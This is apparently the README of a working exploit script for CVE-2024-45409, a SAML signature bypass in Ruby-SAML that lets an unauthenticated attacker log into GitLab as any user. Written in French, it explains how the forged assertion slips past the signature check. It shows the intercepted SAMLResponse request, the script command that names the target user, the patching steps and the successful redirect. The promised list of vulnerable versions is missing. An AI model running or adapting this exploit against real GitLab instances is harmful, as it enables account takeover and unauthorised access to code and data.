
Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409) exploit
Ce script exploite la CVE-2024-45409 qui permet à un attaquant non authentifié ayant accès à tout document SAML signé émis par le fournisseur d'identité (IDP) de forger une réponse/assertion SAML et d'accéder à GitLab en tant que n'importe quel utilisateur.
Toutes les versions suivantes de GitLab (CE/EE) sont vulnérables :
Cet exploit injecte la DigestValue de l'assertion modifiée dans l'élément StatusDetail, permettant de faire passer clandestinement le sélecteur XPath qui utilisera cette valeur au lieu de celle du bloc SignedInfo.
apt install python3-lxml
Interceptez d'abord l'URL et la réponse SAML du fournisseur d'identité encodée en Base64, puis modifiez le contenu XML à l'aide du script.
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]
SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
Digest algorithm: sha256
Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64
Ensuite, remplacez la valeur du paramètre SAMLResponse par la sortie du script. Si l'authentification réussit, vous serez redirigé vers la page d'accueil de GitLab.
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]
<html><body>You are being <a href="http://gitlab.test.local/">redirected</a>.</body></html>